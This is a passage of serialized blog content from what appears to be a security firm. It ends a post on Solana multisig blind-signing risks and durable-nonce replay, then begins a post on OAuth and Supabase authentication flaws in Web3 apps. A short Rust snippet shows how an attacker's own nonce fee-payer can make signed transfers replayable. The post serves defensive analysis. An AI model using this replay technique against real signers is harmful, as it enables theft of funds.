last_blockhash",{"type":22,"tag":118,"props":70534,"children":70535},{"style":210},[70536],{"type":28,"value":837},{"type":22,"tag":118,"props":70538,"children":70539},{"style":204},[70540],{"type":28,"value":70030},{"type":22,"tag":118,"props":70542,"children":70543},{"style":210},[70544],{"type":28,"value":292},{"type":22,"tag":118,"props":70546,"children":70547},{"style":532},[70548],{"type":28,"value":70549},"last_hash",{"type":22,"tag":118,"props":70551,"children":70552},{"style":125},[70553],{"type":28,"value":1098},{"type":22,"tag":118,"props":70555,"children":70556},{"class":120,"line":177},[70557,70561,70566,70570,70575,70579,70584,70588,70592,70597],{"type":22,"tag":118,"props":70558,"children":70559},{"style":146},[70560],{"type":28,"value":4152},{"type":22,"tag":118,"props":70562,"children":70563},{"style":204},[70564],{"type":28,"value":70565}," next_durable_nonce",{"type":22,"tag":118,"props":70567,"children":70568},{"style":210},[70569],{"type":28,"value":837},{"type":22,"tag":118,"props":70571,"children":70572},{"style":131},[70573],{"type":28,"value":70574}," DurableNonce",{"type":22,"tag":118,"props":70576,"children":70577},{"style":210},[70578],{"type":28,"value":1190},{"type":22,"tag":118,"props":70580,"children":70581},{"style":532},[70582],{"type":28,"value":70583},"from_blockhash",{"type":22,"tag":118,"props":70585,"children":70586},{"style":125},[70587],{"type":28,"value":540},{"type":22,"tag":118,"props":70589,"children":70590},{"style":210},[70591],{"type":28,"value":1407},{"type":22,"tag":118,"props":70593,"children":70594},{"style":204},[70595],{"type":28,"value":70596},"last_blockhash",{"type":22,"tag":118,"props":70598,"children":70599},{"style":125},[70600],{"type":28,"value":682},{"type":22,"tag":31,"props":70602,"children":70603},{},[70604,70606,70611],{"type":28,"value":70605},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":22,"tag":4764,"props":70607,"children":70608},{},[70609],{"type":28,"value":70610},"can",{"type":28,"value":70612}," be saved and reused.",{"type":22,"tag":23,"props":70614,"children":70616},{"id":70615},"threat-model",[70617],{"type":28,"value":70618},"Threat Model",{"type":22,"tag":31,"props":70620,"children":70621},{},[70622],{"type":28,"value":70623},"Let's consider a simplified form of the original question.",{"type":22,"tag":4029,"props":70625,"children":70626},{},[70627,70632,70637],{"type":22,"tag":68,"props":70628,"children":70629},{},[70630],{"type":28,"value":70631},"We have a N/M multisig",{"type":22,"tag":68,"props":70633,"children":70634},{},[70635],{"type":28,"value":70636},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":22,"tag":68,"props":70638,"children":70639},{},[70640],{"type":28,"value":70641},"We can accurately query chain state.",{"type":22,"tag":31,"props":70643,"children":70644},{},[70645],{"type":28,"value":70646},"Can we safely sign transactions?",{"type":22,"tag":31,"props":70648,"children":70649},{},[70650],{"type":28,"value":70651},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":22,"tag":31,"props":70653,"children":70654},{},[70655,70657,70663,70665,70672],{"type":28,"value":70656},"Durable nonces require an onchain account, and it's possible to use a ",{"type":22,"tag":114,"props":70658,"children":70660},{"className":70659},[],[70661],{"type":28,"value":70662},"getProgramAccounts",{"type":28,"value":70664}," call to validate if your signer ",{"type":22,"tag":42,"props":70666,"children":70669},{"href":70667,"rel":70668},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[46],[70670],{"type":28,"value":70671},"has an associated durable nonce",{"type":28,"value":292},{"type":22,"tag":107,"props":70674,"children":70676},{"className":37871,"code":70675,"language":37873,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[70677],{"type":22,"tag":114,"props":70678,"children":70679},{"__ignoreMap":7},[70680,70727,70763,70771,70783,70791,70803,70811,70819,70836,70843,70850,70858,70866,70878,70904,70921,70928,70935,70943,70950],{"type":22,"tag":118,"props":70681,"children":70682},{"class":120,"line":121},[70683,70687,70692,70696,70700,70705,70709,70714,70718,70723],{"type":22,"tag":118,"props":70684,"children":70685},{"style":146},[70686],{"type":28,"value":11653},{"type":22,"tag":118,"props":70688,"children":70689},{"style":204},[70690],{"type":28,"value":70691}," connection",{"type":22,"tag":118,"props":70693,"children":70694},{"style":210},[70695],{"type":28,"value":837},{"type":22,"tag":118,"props":70697,"children":70698},{"style":146},[70699],{"type":28,"value":3442},{"type":22,"tag":118,"props":70701,"children":70702},{"style":532},[70703],{"type":28,"value":70704}," Connection",{"type":22,"tag":118,"props":70706,"children":70707},{"style":125},[70708],{"type":28,"value":540},{"type":22,"tag":118,"props":70710,"children":70711},{"style":532},[70712],{"type":28,"value":70713},"clusterApiUrl",{"type":22,"tag":118,"props":70715,"children":70716},{"style":125},[70717],{"type":28,"value":540},{"type":22,"tag":118,"props":70719,"children":70720},{"style":1866},[70721],{"type":28,"value":70722},"'testnet'",{"type":22,"tag":118,"props":70724,"children":70725},{"style":125},[70726],{"type":28,"value":9230},{"type":22,"tag":118,"props":70728,"children":70729},{"class":120,"line":142},[70730,70734,70739,70743,70747,70751,70755,70759],{"type":22,"tag":118,"props":70731,"children":70732},{"style":146},[70733],{"type":28,"value":11653},{"type":22,"tag":118,"props":70735,"children":70736},{"style":204},[70737],{"type":28,"value":70738}," nonceAccounts",{"type":22,"tag":118,"props":70740,"children":70741},{"style":210},[70742],{"type":28,"value":837},{"type":22,"tag":118,"props":70744,"children":70745},{"style":1480},[70746],{"type":28,"value":38152},{"type":22,"tag":118,"props":70748,"children":70749},{"style":204},[70750],{"type":28,"value":70691},{"type":22,"tag":118,"props":70752,"children":70753},{"style":125},[70754],{"type":28,"value":292},{"type":22,"tag":118,"props":70756,"children":70757},{"style":532},[70758],{"type":28,"value":70662},{"type":22,"tag":118,"props":70760,"children":70761},{"style":125},[70762],{"type":28,"value":696},{"type":22,"tag":118,"props":70764,"children":70765},{"class":120,"line":177},[70766],{"type":22,"tag":118,"props":70767,"children":70768},{"style":257},[70769],{"type":28,"value":70770},"  // The system program owns all nonce accounts.\n",{"type":22,"tag":118,"props":70772,"children":70773},{"class":120,"line":195},[70774,70779],{"type":22,"tag":118,"props":70775,"children":70776},{"style":204},[70777],{"type":28,"value":70778},"  SYSTEM_PROGRAM_ADDRESS",{"type":22,"tag":118,"props":70780,"children":70781},{"style":125},[70782],{"type":28,"value":782},{"type":22,"tag":118,"props":70784,"children":70785},{"class":120,"line":244},[70786],{"type":22,"tag":118,"props":70787,"children":70788},{"style":125},[70789],{"type":28,"value":70790},"  {\n",{"type":22,"tag":118,"props":70792,"children":70793},{"class":120,"line":253},[70794,70799],{"type":22,"tag":118,"props":70795,"children":70796},{"style":204},[70797],{"type":28,"value":70798},"    filters:",{"type":22,"tag":118,"props":70800,"children":70801},{"style":125},[70802],{"type":28,"value":27564},{"type":22,"tag":118,"props":70804,"children":70805},{"class":120,"line":263},[70806],{"type":22,"tag":118,"props":70807,"children":70808},{"style":125},[70809],{"type":28,"value":70810},"      {\n",{"type":22,"tag":118,"props":70812,"children":70813},{"class":120,"line":318},[70814],{"type":22,"tag":118,"props":70815,"children":70816},{"style":257},[70817],{"type":28,"value":70818},"        // Nonce accounts are exactly 80 bytes long\n",{"type":22,"tag":118,"props":70820,"children":70821},{"class":120,"line":351},[70822,70827,70832],{"type":22,"tag":118,"props":70823,"children":70824},{"style":204},[70825],{"type":28,"value":70826},"        dataSize:",{"type":22,"tag":118,"props":70828,"children":70829},{"style":674},[70830],{"type":28,"value":70831}," 80",{"type":22,"tag":118,"props":70833,"children":70834},{"style":125},[70835],{"type":28,"value":782},{"type":22,"tag":118,"props":70837,"children":70838},{"class":120,"line":359},[70839],{"type":22,"tag":118,"props":70840,"children":70841},{"style":125},[70842],{"type":28,"value":39140},{"type":22,"tag":118,"props":70844,"children":70845},{"class":120,"line":368},[70846],{"type":22,"tag":118,"props":70847,"children":70848},{"style":125},[70849],{"type":28,"value":70810},{"type":22,"tag":118,"props":70851,"children":70852},{"class":120,"line":384},[70853],{"type":22,"tag":118,"props":70854,"children":70855},{"style":257},[70856],{"type":28,"value":70857},"        // The authority's 32-byte public key is written\n",{"type":22,"tag":118,"props":70859,"children":70860},{"class":120,"line":417},[70861],{"type":22,"tag":118,"props":70862,"children":70863},{"style":257},[70864],{"type":28,"value":70865},"        // into bytes 8-40 of the nonce's account data.\n",{"type":22,"tag":118,"props":70867,"children":70868},{"class":120,"line":425},[70869,70874],{"type":22,"tag":118,"props":70870,"children":70871},{"style":204},[70872],{"type":28,"value":70873},"        memcmp:",{"type":22,"tag":118,"props":70875,"children":70876},{"style":125},[70877],{"type":28,"value":1474},{"type":22,"tag":118,"props":70879,"children":70880},{"class":120,"line":441},[70881,70886,70891,70895,70900],{"type":22,"tag":118,"props":70882,"children":70883},{"style":204},[70884],{"type":28,"value":70885},"          bytes:",{"type":22,"tag":118,"props":70887,"children":70888},{"style":204},[70889],{"type":28,"value":70890}," AUTHORITY_PUBLIC_KEY",{"type":22,"tag":118,"props":70892,"children":70893},{"style":125},[70894],{"type":28,"value":292},{"type":22,"tag":118,"props":70896,"children":70897},{"style":532},[70898],{"type":28,"value":70899},"toBase58",{"type":22,"tag":118,"props":70901,"children":70902},{"style":125},[70903],{"type":28,"value":768},{"type":22,"tag":118,"props":70905,"children":70906},{"class":120,"line":475},[70907,70912,70917],{"type":22,"tag":118,"props":70908,"children":70909},{"style":204},[70910],{"type":28,"value":70911},"          offset:",{"type":22,"tag":118,"props":70913,"children":70914},{"style":674},[70915],{"type":28,"value":70916}," 8",{"type":22,"tag":118,"props":70918,"children":70919},{"style":125},[70920],{"type":28,"value":782},{"type":22,"tag":118,"props":70922,"children":70923},{"class":120,"line":484},[70924],{"type":22,"tag":118,"props":70925,"children":70926},{"style":125},[70927],{"type":28,"value":27317},{"type":22,"tag":118,"props":70929,"children":70930},{"class":120,"line":492},[70931],{"type":22,"tag":118,"props":70932,"children":70933},{"style":125},[70934],{"type":28,"value":39140},{"type":22,"tag":118,"props":70936,"children":70937},{"class":120,"line":501},[70938],{"type":22,"tag":118,"props":70939,"children":70940},{"style":125},[70941],{"type":28,"value":70942},"    ],\n",{"type":22,"tag":118,"props":70944,"children":70945},{"class":120,"line":519},[70946],{"type":22,"tag":118,"props":70947,"children":70948},{"style":125},[70949],{"type":28,"value":7881},{"type":22,"tag":118,"props":70951,"children":70952},{"class":120,"line":606},[70953],{"type":22,"tag":118,"props":70954,"children":70955},{"style":125},[70956],{"type":28,"value":682},{"type":22,"tag":31,"props":70958,"children":70959},{},[70960,70962,70970],{"type":28,"value":70961},"Unfortunately this is not sufficient",{"type":22,"tag":17448,"props":70963,"children":70964},{},[70965],{"type":22,"tag":42,"props":70966,"children":70968},{"href":31562,"ariaDescribedBy":70967,"dataFootnoteRef":7,"id":31564},[17455],[70969],{"type":28,"value":6026},{"type":28,"value":70971},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":22,"tag":107,"props":70973,"children":70975},{"className":109,"code":70974,"language":111,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[70976],{"type":22,"tag":114,"props":70977,"children":70978},{"__ignoreMap":7},[70979,71045,71061,71144],{"type":22,"tag":118,"props":70980,"children":70981},{"class":120,"line":121},[70982,70986,70990,70994,70999,71003,71007,71011,71015,71019,71023,71027,71032,71036,71041],{"type":22,"tag":118,"props":70983,"children":70984},{"style":146},[70985],{"type":28,"value":4152},{"type":22,"tag":118,"props":70987,"children":70988},{"style":204},[70989],{"type":28,"value":45308},{"type":22,"tag":118,"props":70991,"children":70992},{"style":210},[70993],{"type":28,"value":837},{"type":22,"tag":118,"props":70995,"children":70996},{"style":125},[70997],{"type":28,"value":70998}," system_instruction",{"type":22,"tag":118,"props":71000,"children":71001},{"style":210},[71002],{"type":28,"value":1190},{"type":22,"tag":118,"props":71004,"children":71005},{"style":532},[71006],{"type":28,"value":34061},{"type":22,"tag":118,"props":71008,"children":71009},{"style":125},[71010],{"type":28,"value":540},{"type":22,"tag":118,"props":71012,"children":71013},{"style":210},[71014],{"type":28,"value":1407},{"type":22,"tag":118,"props":71016,"children":71017},{"style":204},[71018],{"type":28,"value":21441},{"type":22,"tag":118,"props":71020,"children":71021},{"style":125},[71022],{"type":28,"value":231},{"type":22,"tag":118,"props":71024,"children":71025},{"style":210},[71026],{"type":28,"value":1407},{"type":22,"tag":118,"props":71028,"children":71029},{"style":204},[71030],{"type":28,"value":71031},"ledger_base_pubkey",{"type":22,"tag":118,"props":71033,"children":71034},{"style":125},[71035],{"type":28,"value":231},{"type":22,"tag":118,"props":71037,"children":71038},{"style":674},[71039],{"type":28,"value":71040},"42",{"type":22,"tag":118,"props":71042,"children":71043},{"style":125},[71044],{"type":28,"value":682},{"type":22,"tag":118,"props":71046,"children":71047},{"class":120,"line":142},[71048,71052,71057],{"type":22,"tag":118,"props":71049,"children":71050},{"style":146},[71051],{"type":28,"value":4152},{"type":22,"tag":118,"props":71053,"children":71054},{"style":204},[71055],{"type":28,"value":71056}," message",{"type":22,"tag":118,"props":71058,"children":71059},{"style":210},[71060],{"type":28,"value":37796},{"type":22,"tag":118,"props":71062,"children":71063},{"class":120,"line":177},[71064,71069,71073,71078,71082,71086,71090,71094,71098,71102,71106,71110,71115,71119,71123,71128,71132,71136,71140],{"type":22,"tag":118,"props":71065,"children":71066},{"style":131},[71067],{"type":28,"value":71068},"        Message",{"type":22,"tag":118,"props":71070,"children":71071},{"style":210},[71072],{"type":28,"value":1190},{"type":22,"tag":118,"props":71074,"children":71075},{"style":532},[71076],{"type":28,"value":71077},"new_with_nonce",{"type":22,"tag":118,"props":71079,"children":71080},{"style":125},[71081],{"type":28,"value":540},{"type":22,"tag":118,"props":71083,"children":71084},{"style":532},[71085],{"type":28,"value":5887},{"type":22,"tag":118,"props":71087,"children":71088},{"style":125},[71089],{"type":28,"value":5746},{"type":22,"tag":118,"props":71091,"children":71092},{"style":204},[71093],{"type":28,"value":45617},{"type":22,"tag":118,"props":71095,"children":71096},{"style":125},[71097],{"type":28,"value":25011},{"type":22,"tag":118,"props":71099,"children":71100},{"style":131},[71101],{"type":28,"value":43960},{"type":22,"tag":118,"props":71103,"children":71104},{"style":125},[71105],{"type":28,"value":540},{"type":22,"tag":118,"props":71107,"children":71108},{"style":210},[71109],{"type":28,"value":1407},{"type":22,"tag":118,"props":71111,"children":71112},{"style":204},[71113],{"type":28,"value":71114},"evil_nonce_authority",{"type":22,"tag":118,"props":71116,"children":71117},{"style":125},[71118],{"type":28,"value":17153},{"type":22,"tag":118,"props":71120,"children":71121},{"style":210},[71122],{"type":28,"value":1407},{"type":22,"tag":118,"props":71124,"children":71125},{"style":204},[71126],{"type":28,"value":71127},"nonce_account",{"type":22,"tag":118,"props":71129,"children":71130},{"style":125},[71131],{"type":28,"value":231},{"type":22,"tag":118,"props":71133,"children":71134},{"style":210},[71135],{"type":28,"value":1407},{"type":22,"tag":118,"props":71137,"children":71138},{"style":204},[71139],{"type":28,"value":71114},{"type":22,"tag":118,"props":71141,"children":71142},{"style":125},[71143],{"type":28,"value":3665},{"type":22,"tag":118,"props":71145,"children":71146},{"class":120,"line":195},[71147,71151,71156],{"type":22,"tag":118,"props":71148,"children":71149},{"style":210},[71150],{"type":28,"value":3546},{"type":22,"tag":118,"props":71152,"children":71153},{"style":532},[71154],{"type":28,"value":71155},"serialize",{"type":22,"tag":118,"props":71157,"children":71158},{"style":125},[71159],{"type":28,"value":1098},{"type":22,"tag":31,"props":71161,"children":71162},{},[71163,71165,71172],{"type":28,"value":71164},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":22,"tag":42,"props":71166,"children":71169},{"href":71167,"rel":71168},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[46],[71170],{"type":28,"value":71171},"logs the fee-payer here",{"type":28,"value":292},{"type":22,"tag":107,"props":71174,"children":71176},{"className":18481,"code":71175,"language":5169,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[71177],{"type":22,"tag":114,"props":71178,"children":71179},{"__ignoreMap":7},[71180,71239,71295],{"type":22,"tag":118,"props":71181,"children":71182},{"class":120,"line":121},[71183,71187,71192,71196,71200,71205,71209,71214,71218,71222,71226,71230,71235],{"type":22,"tag":118,"props":71184,"children":71185},{"style":146},[71186],{"type":28,"value":3065},{"type":22,"tag":118,"props":71188,"children":71189},{"style":532},[71190],{"type":28,"value":71191}," print_config_show_authority",{"type":22,"tag":118,"props":71193,"children":71194},{"style":125},[71195],{"type":28,"value":540},{"type":22,"tag":118,"props":71197,"children":71198},{"style":146},[71199],{"type":28,"value":11653},{"type":22,"tag":118,"props":71201,"children":71202},{"style":125},[71203],{"type":28,"value":71204}," PrintConfig",{"type":22,"tag":118,"props":71206,"children":71207},{"style":210},[71208],{"type":28,"value":671},{"type":22,"tag":118,"props":71210,"children":71211},{"style":204},[71212],{"type":28,"value":71213}," print_config",{"type":22,"tag":118,"props":71215,"children":71216},{"style":125},[71217],{"type":28,"value":231},{"type":22,"tag":118,"props":71219,"children":71220},{"style":146},[71221],{"type":28,"value":11653},{"type":22,"tag":118,"props":71223,"children":71224},{"style":125},[71225],{"type":28,"value":2806},{"type":22,"tag":118,"props":71227,"children":71228},{"style":210},[71229],{"type":28,"value":671},{"type":22,"tag":118,"props":71231,"children":71232},{"style":204},[71233],{"type":28,"value":71234}," authority",{"type":22,"tag":118,"props":71236,"children":71237},{"style":125},[71238],{"type":28,"value":16783},{"type":22,"tag":118,"props":71240,"children":71241},{"class":120,"line":142},[71242,71246,71250,71254,71259,71263,71267,71272,71276,71281,71285,71290],{"type":22,"tag":118,"props":71243,"children":71244},{"style":1480},[71245],{"type":28,"value":18954},{"type":22,"tag":118,"props":71247,"children":71248},{"style":204},[71249],{"type":28,"value":71213},{"type":22,"tag":118,"props":71251,"children":71252},{"style":125},[71253],{"type":28,"value":593},{"type":22,"tag":118,"props":71255,"children":71256},{"style":204},[71257],{"type":28,"value":71258},"expert_mode",{"type":22,"tag":118,"props":71260,"children":71261},{"style":210},[71262],{"type":28,"value":25646},{"type":22,"tag":118,"props":71264,"children":71265},{"style":210},[71266],{"type":28,"value":2164},{"type":22,"tag":118,"props":71268,"children":71269},{"style":532},[71270],{"type":28,"value":71271},"pubkeys_equal",{"type":22,"tag":118,"props":71273,"children":71274},{"style":125},[71275],{"type":28,"value":540},{"type":22,"tag":118,"props":71277,"children":71278},{"style":204},[71279],{"type":28,"value":71280},"print_config",{"type":22,"tag":118,"props":71282,"children":71283},{"style":125},[71284],{"type":28,"value":593},{"type":22,"tag":118,"props":71286,"children":71287},{"style":204},[71288],{"type":28,"value":71289},"signer_pubkey",{"type":22,"tag":118,"props":71291,"children":71292},{"style":125},[71293],{"type":28,"value":71294},", authority);\n",{"type":22,"tag":118,"props":71296,"children":71297},{"class":120,"line":177},[71298],{"type":22,"tag":118,"props":71299,"children":71300},{"style":125},[71301],{"type":28,"value":481},{"type":22,"tag":31,"props":71303,"children":71304},{},[71305],{"type":28,"value":71306},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":22,"tag":31,"props":71308,"children":71309},{},[71310],{"type":28,"value":71311},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":22,"tag":31,"props":71313,"children":71314},{},[71315],{"type":28,"value":71316},"We can then use the following procedure.",{"type":22,"tag":4029,"props":71318,"children":71319},{},[71320,71325,71330,71335,71340],{"type":22,"tag":68,"props":71321,"children":71322},{},[71323],{"type":28,"value":71324},"Ensure all signers have no durable nonce accounts.",{"type":22,"tag":68,"props":71326,"children":71327},{},[71328],{"type":28,"value":71329},"The first signer signs and submits the transaction.",{"type":22,"tag":68,"props":71331,"children":71332},{},[71333],{"type":28,"value":71334},"Wait two minutes for all recent blockhashes to expire.",{"type":22,"tag":68,"props":71336,"children":71337},{},[71338],{"type":28,"value":71339},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":22,"tag":68,"props":71341,"children":71342},{},[71343],{"type":28,"value":71344},"Repeat steps 2 to 4 for each signer",{"type":22,"tag":23,"props":71346,"children":71348},{"id":71347},"beyond",[71349],{"type":28,"value":71350},"Beyond",{"type":22,"tag":31,"props":71352,"children":71353},{},[71354],{"type":28,"value":71355},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":22,"tag":31,"props":71357,"children":71358},{},[71359,71361,71368],{"type":28,"value":71360},"For example, pcaversaccio wrote a tool to ",{"type":22,"tag":42,"props":71362,"children":71365},{"href":71363,"rel":71364},"https://github.com/pcaversaccio/safe-tx-hashes-util",[46],[71366],{"type":28,"value":71367},"validate Safe transaction hashes",{"type":28,"value":71369},". As the space matures, we hope more open source tooling will come to light.",{"type":22,"tag":20388,"props":71371,"children":71373},{"className":71372,"dataFootnotes":7},[20391],[71374,71379],{"type":22,"tag":23,"props":71375,"children":71377},{"className":71376,"id":17455},[20396],[71378],{"type":28,"value":20399},{"type":22,"tag":4029,"props":71380,"children":71381},{},[71382],{"type":22,"tag":68,"props":71383,"children":71384},{"id":32304},[71385,71387,71395,71397],{"type":28,"value":71386},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":22,"tag":42,"props":71388,"children":71392},{"href":71389,"rel":71390,":style":71391},"https://twitter.com/PierreArowana",[46],"color: #B1D0EE; text-decoration: underline;",[71393],{"type":28,"value":71394},"@PierreArowana",{"type":28,"value":71396}," for pointing this out to me. ",{"type":22,"tag":42,"props":71398,"children":71400},{"href":32332,"ariaLabel":20502,"className":71399,"dataFootnoteBackref":7},[20504],[71401],{"type":28,"value":20507},{"type":22,"tag":4880,"props":71403,"children":71404},{},[71405],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":71407},[71408,71412,71413,71414],{"id":69606,"depth":142,"text":69609,"children":71409},[71410,71411],{"id":69617,"depth":177,"text":69620},{"id":69896,"depth":177,"text":69899},{"id":70615,"depth":142,"text":70618},{"id":71347,"depth":142,"text":71350},{"id":17455,"depth":142,"text":20399},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":71419,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71420,"description":71421,"date":71422,"author":71423,"image":71424,"isFeatured":15,"onBlogPage":15,"tags":71426,"body":71427,"_type":4896,"_id":73122,"_source":4898,"_file":73123,"_stem":73124,"_extension":4901},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[33140,33139],{"src":71425},"/posts/web2-in-web3/title.jpg",[34079],{"type":19,"children":71428,"toc":73104},[71429,71434,71439,71444,71470,71476,71481,71487,71508,71514,71519,71526,71539,71569,71575,71619,71626,71632,71665,71686,71694,71713,71720,71725,71731,71736,71741,71766,71771,71777,71783,71804,71810,71837,71865,71872,71877,71882,72227,72231,72253,72259,72280,72294,72307,72312,72328,72333,73059,73064,73069,73074,73086,73090,73095,73100],{"type":22,"tag":31,"props":71430,"children":71431},{},[71432],{"type":28,"value":71433},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":22,"tag":31,"props":71435,"children":71436},{},[71437],{"type":28,"value":71438},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":22,"tag":31,"props":71440,"children":71441},{},[71442],{"type":28,"value":71443},"In this article, we will discuss three cases we discovered:",{"type":22,"tag":4029,"props":71445,"children":71446},{},[71447,71452,71465],{"type":22,"tag":68,"props":71448,"children":71449},{},[71450],{"type":28,"value":71451},"OAuth Logic Vulnerability on an Authentication Provider",{"type":22,"tag":68,"props":71453,"children":71454},{},[71455,71457,71463],{"type":28,"value":71456},"Supabase ",{"type":22,"tag":114,"props":71458,"children":71460},{"className":71459},[],[71461],{"type":28,"value":71462},"user_metadata",{"type":28,"value":71464}," misconfiguration",{"type":22,"tag":68,"props":71466,"children":71467},{},[71468],{"type":28,"value":71469},"OAuth abuse in localhost development environment",{"type":22,"tag":23,"props":71471,"children":71473},{"id":71472},"abusing-oauth-authentication-logic",[71474],{"type":28,"value":71475},"Abusing OAuth Authentication Logic",{"type":22,"tag":31,"props":71477,"children":71478},{},[71479],{"type":28,"value":71480},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":22,"tag":1289,"props":71482,"children":71484},{"id":71483},"web3auth-introduction",[71485],{"type":28,"value":71486},"Web3Auth Introduction",{"type":22,"tag":31,"props":71488,"children":71489},{},[71490,71497,71499,71506],{"type":22,"tag":42,"props":71491,"children":71494},{"href":71492,"rel":71493},"https://web3auth.io/",[46],[71495],{"type":28,"value":71496},"Web3Auth",{"type":28,"value":71498}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":22,"tag":42,"props":71500,"children":71503},{"href":71501,"rel":71502},"https://oauth.net/2/",[46],[71504],{"type":28,"value":71505},"OAuth2",{"type":28,"value":71507}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":22,"tag":1289,"props":71509,"children":71511},{"id":71510},"web3auth-authentication-flow",[71512],{"type":28,"value":71513},"Web3Auth Authentication flow",{"type":22,"tag":31,"props":71515,"children":71516},{},[71517],{"type":28,"value":71518},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":22,"tag":31,"props":71520,"children":71521},{},[71522],{"type":22,"tag":5928,"props":71523,"children":71525},{"alt":52519,"src":71524},"/posts/web2-in-web3/auth-flow.png",[],{"type":22,"tag":31,"props":71527,"children":71528},{},[71529,71531,71537],{"type":28,"value":71530},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":22,"tag":114,"props":71532,"children":71534},{"className":71533},[],[71535],{"type":28,"value":71536},"client_id",{"type":28,"value":71538},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":22,"tag":31,"props":71540,"children":71541},{},[71542,71544,71550,71552,71558,71560,71567],{"type":28,"value":71543},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":22,"tag":114,"props":71545,"children":71547},{"className":71546},[],[71548],{"type":28,"value":71549},"/start",{"type":28,"value":71551}," validates the ",{"type":22,"tag":114,"props":71553,"children":71555},{"className":71554},[],[71556],{"type":28,"value":71557},"redirect_url",{"type":28,"value":71559}," against the configured ",{"type":22,"tag":42,"props":71561,"children":71564},{"href":71562,"rel":71563},"https://web3auth.io/docs/dashboard-setup/whitelisting",[46],[71565],{"type":28,"value":71566},"whitelist",{"type":28,"value":71568}," to ensure it matches one of the allowed URLs.",{"type":22,"tag":1289,"props":71570,"children":71572},{"id":71571},"in-transit-cryptography",[71573],{"type":28,"value":71574},"In-transit Cryptography",{"type":22,"tag":31,"props":71576,"children":71577},{},[71578,71580,71587,71589,71595,71597,71603,71605,71610,71612,71617],{"type":28,"value":71579},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":22,"tag":42,"props":71581,"children":71584},{"href":71582,"rel":71583},"https://en.wikipedia.org/wiki/Key_(cryptography)",[46],[71585],{"type":28,"value":71586},"cryptographic key",{"type":28,"value":71588}," is derived from the ",{"type":22,"tag":114,"props":71590,"children":71592},{"className":71591},[],[71593],{"type":28,"value":71594},"sessionId",{"type":28,"value":71596},"  sent in the ",{"type":22,"tag":114,"props":71598,"children":71600},{"className":71599},[],[71601],{"type":28,"value":71602},"GET",{"type":28,"value":71604}," parameter to the ",{"type":22,"tag":114,"props":71606,"children":71608},{"className":71607},[],[71609],{"type":28,"value":71549},{"type":28,"value":71611},". Since the ",{"type":22,"tag":114,"props":71613,"children":71615},{"className":71614},[],[71616],{"type":28,"value":71594},{"type":28,"value":71618}," can be controlled, it allows us to send and receive data from the session server.",{"type":22,"tag":31,"props":71620,"children":71621},{},[71622],{"type":22,"tag":5928,"props":71623,"children":71625},{"alt":52519,"src":71624},"/posts/web2-in-web3/image-2.png",[],{"type":22,"tag":1289,"props":71627,"children":71629},{"id":71628},"race-condition",[71630],{"type":28,"value":71631},"Race 